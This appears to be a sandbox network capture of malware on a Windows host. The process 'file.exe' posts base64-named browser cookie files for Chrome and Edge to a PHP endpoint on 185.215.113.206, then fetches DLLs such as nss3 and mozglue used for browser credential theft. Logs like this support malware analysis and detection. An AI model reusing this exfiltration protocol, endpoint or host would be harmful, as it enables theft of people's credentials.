4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHJKFCGHIDHCBGDHJKEB--
Nov 28, 2024 15:17:27.666819096 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 15:17:28.380508900 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file"------KEBGHCBAEGDHIDGCBAEC--
Nov 28, 2024 15:17:29.322210073 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49804	185.215.113.206	80	5684	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:17:34.895618916 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAK Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IEHJDGIDBAAFIDGCGCAK--
Nov 28, 2024 15:17:36.795038939 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 15:17:37.262157917 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="file"------DBKKFHIEGDHJKECAAKKE--
Nov 28, 2024 15:17:38.239990950 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 15:17:38.834871054 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 15:17:39.290674925 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 28, 2024 15:17:39.290704012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 28, 2024 15:17:39.290718079 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 28, 2024 15:17:39.290772915 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 28, 2024 15:17:39.290788889 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 28, 2024 15:17:39.290802956 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 28, 2024 15:17:39.290817976 CET	744	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 28, 2024 15:17:39.290833950 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Nov 28, 2024 15:17:39.290952921 CET	1236	IN	Data Raw: 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 Data Ascii: 3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRA
Nov 28, 2024 15:17:39.300199032 CET	1236	IN	Data Raw: 31 c8 89 f1 0f a4 c1 01 89 4d 80 0f a4 f0 01 89 85 5c ff ff ff 8b 85 74 ff ff ff 8b 48 40 89 8d 18 ff ff ff 8b 75 b4 01 ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 ff ff ff 01 fe 89 75 b4 13 55 98 31 d3 89 5d 94 89 d3 8b 85 64 ff ff ff Data Ascii: 1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]d1]1U]uuEE11E}t
Nov 28, 2024 15:17:39.300214052 CET	1236	IN	Data Raw: bd 78 ff ff ff 31 cf 8b 75 a8 31 c6 89 75 a8 8b 45 ec 01 f8 89 45 ec 8b 4d e0 11 f1 89 4d e0 31 c3 31 ca 89 d8 0f a4 d0 08 0f a4 da 08 8b 75 b8 03 b5 74 ff ff ff 8b 5d f0 13 9d 50 ff ff ff 01 d6 89 75 b8 11 c3 89 5d f0 8b 4d a8 31 d9 31 f7 89 fe Data Ascii: x1u1uEEMM11ut]Pu]M11Xx]]MM11\|}$E\]}UEM1Mu1}}EE11}0M,
Nov 28, 2024 15:17:40.804474115 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 15:17:41.378071070 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 28, 2024 15:17:42.133179903 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 15:17:42.589073896 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 28, 2024 15:17:43.286521912 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 15:17:43.741643906 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 28, 2024 15:17:46.899728060 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 15:17:47.365597963 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 28, 2024 15:17:48.038693905 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 15:17:48.496706009 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 28, 2024 15:17:49.178603888 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHI Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 15:17:52.020704985 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
